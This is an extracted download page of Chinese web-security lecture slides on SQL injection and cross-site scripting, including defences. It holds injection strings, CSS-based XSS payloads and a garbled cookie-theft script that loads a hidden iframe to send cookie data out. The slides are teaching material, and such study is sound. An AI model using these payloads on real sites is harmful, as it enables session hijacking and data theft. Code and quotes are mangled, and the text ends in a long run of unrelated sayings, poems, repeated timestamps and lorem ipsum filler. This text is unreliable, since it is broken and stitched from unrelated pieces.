安全攻防實踐課程-資料下載頁
2025-01-08 12:55本頁面
【正文】 ‘1=1 由于密碼的輸入方式，使得查詢語句返回值永遠為 True，因此通過驗證 SQL注入范例 收集信息 86 and ‘1=1 Microsoft OLE DB Provider for ODBC Drivers 錯誤 39。80040e1439。 [Microsoft][ODBC Microsoft Access Driver] 字符串的語法錯誤 在查詢表達式 39。id = 77239。39。 中。 /，行 31 說明 : 數(shù)據(jù)庫為 Access 程序沒有對于 id進行過濾 數(shù)據(jù)庫表中有個字段名為 id SQL注入范例－操作數(shù)據(jù)庫 87 SQL注入范例－執(zhí)行系統(tǒng)命令 88 89 SQL注入防御 ? 開發(fā)時過濾特殊字符 ： ? 單引號、雙引號、斜杠、反斜杠、冒號、空字符等的字符 ?過濾的對象 : ? 用戶的輸入 ? 提交的 URL請求中的參數(shù)部分 ? 從 cookie中得到的數(shù)據(jù) ?部署防 SQL注入系統(tǒng)或腳本 跨站腳本 ?定義 ? 跨站腳本（ CSS Cross Site Scripting） ? 在遠程 Web頁面的 HTML代碼中插入的具有惡意目的的數(shù)據(jù)，用戶認為該頁面是可信的，但是當瀏覽器下載該頁面時，嵌入其中的腳本將被解釋執(zhí)行 ?跨站腳本成因 ? CGI程序沒有對用戶提交的變量中的 HTML代碼進行過濾或轉(zhuǎn)換。 ? 這種攻擊利用的是用戶和服務(wù)器之間的信任關(guān)系，以及 Web站點沒有使用有效的輸入輸出驗證來拒絕嵌入的腳本。 90 跨站腳本危害 ?1． 獲取其他用戶 Cookie中的敏感數(shù)據(jù) ?2． 屏蔽頁面特定信息 ?3． 偽造頁面信息 ?4． 拒絕服務(wù)攻擊 ?5． 突破外網(wǎng)內(nèi)網(wǎng)不同安全設(shè)置 ?6． 與其它漏洞結(jié)合 ?7． 其它 91 跨站腳本范例 執(zhí)行 Javascript ?有很多種方式可造成 Javascript的執(zhí)行，以下舉例兩種 ?最原始的范例如下： ?第二種方式，利用 expression指令來造成 javascript執(zhí)行，范例如下： 92 body {backgroundimage: url(javascript:alert(39。XSS39。))。} body {backgroundimage: expression(alert(XSS))。} 跨站腳本危害范例 Cookies竊取 93 Web服務(wù)器 URL 大小為 0的 iframe 將字符編碼傳送 var code。 var target = info=escape()。 target=target+info。 code=iframe style=39。display:none。39。 src=。 code=code+target。 code=code+ width=0 height=0/iframe。 (code)。 跨站腳本危害 竊取 Cookies ?更改 Cookies成功獲取身份 94 小 結(jié) ?腳本攻擊從本質(zhì)上是一種過濾不足造成的攻擊 ?腳本是不需要編譯的程序代碼，依賴腳本引擎來解釋執(zhí)行，具有很好的操作系統(tǒng)適應(yīng)性和可移植性 ?如果不可信的內(nèi)容被引入到動態(tài)頁面中，則無論是網(wǎng)站還是客戶機都沒有足夠的信息識別這種情況的發(fā)生并采取保護措施 ?腳本攻擊方法主要包括： SQL注入攻擊、命令注入、跨站腳本攻擊等 95 謝謝，請?zhí)釂栴}！ 靜夜四無鄰，荒居舊業(yè)貧。 , January 24, 2023 雨中黃葉樹，燈下白頭人。 12:27:5812:27:5812:271/24/2023 12:27:58 PM 1以我獨沈久，愧君相見頻。 :27:5812:27Jan2324Jan23 1故人江海別，幾度隔山川。 12:27:5812:27:5812:27Tuesday, January 24, 2023 1乍見翻疑夢，相悲各問年。 :27:5812:27:58January 24, 2023 1他鄉(xiāng)生白發(fā)，舊國見青山。 2023年 1月 24日星期二 下午 12時 27分 58秒 12:27: 1比不了得就不比，得不到的就不要。 。 2023年 1月 下午 12時 27分 :27January 24, 2023 1行動出成果，工作出財富。 2023年 1月 24日星期二 12時 27分 58秒 12:27:5824 January 2023 1做前，能夠環(huán)視四周；做時，你只能或者最好沿著以腳為起點的射線向前。 下午 12時 27分 58秒 下午 12時 27分 12:27: 沒有失敗，只有暫時停止成功！。 , January 24, 2023 很多事情努力了未必有結(jié)果，但是不努力卻什么改變也沒有。 12:27:5812:27:5812:271/24/2023 12:27:58 PM 1成功就是日復(fù)一日那一點點小小努力的積累。 :27:5812:27Jan2324Jan23 1世間成事，不求其絕對圓滿，留一份不足，可得無限完美。 12:27:5812:27:5812:27Tuesday, January 24, 2023 1不知香積寺，數(shù)里入云峰。 :27:5812:27:58January 24, 2023 1意志堅強的人能把世界放在手中像泥塊一樣任意揉捏。 2023年 1月 24日星期二 下午 12時 27分 58秒 12:27: 1楚塞三湘接，荊門九派通。 。 2023年 1月 下午 12時 27分 :27January 24, 2023 1少年十五二十時，步行奪得胡馬騎。 2023年 1月 24日星期二 12時 27分 58秒 12:27:5824 January 2023 1空山新雨后，天氣晚來秋。 下午 12時 27分 58秒 下午 12時 27分 12:27: 楊柳散和風(fēng)，青山澹吾慮。 , January 24, 2023 閱讀一切好書如同和過去最杰出的人談話。 12:27:5812:27:5812:271/24/2023 12:27:58 PM 1越是沒有本領(lǐng)的就越加自命不凡。 :27:5812:27Jan2324Jan23 1越是無能的人，越喜歡挑剔別人的錯兒。 12:27:5812:27:5812:27Tuesday, January 24, 2023 1知人者智，自知者明。勝人者有力，自勝者強。 :27:5812:27:58January 24, 2023 1意志堅強的人能把世界放在手中像泥塊一樣任意揉捏。 2023年 1月 24日星期二 下午 12時 27分 58秒 12:27: 1最具挑戰(zhàn)性的挑戰(zhàn)莫過于提升自我。 2023年 1月 下午 12時 27分 :27January 24, 2023 1業(yè)余生活要有意義，不要越軌。 2023年 1月 24日星期二 12時 27分 58秒 12:27:5824 January 2023 1一個人即使已登上頂峰，也仍要自強不息。 下午 12時 27分 58秒 下午 12時 27分 12:27: MOMODA POWERPOINT Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce id urna blandit, eleifend nulla ac, fringilla purus. Nulla iaculis tempor felis ut cursus. 感 謝 您 的 下 載 觀 看 專家告訴
教學(xué)課件相關(guān)推薦
鄂ICP備17016276號-1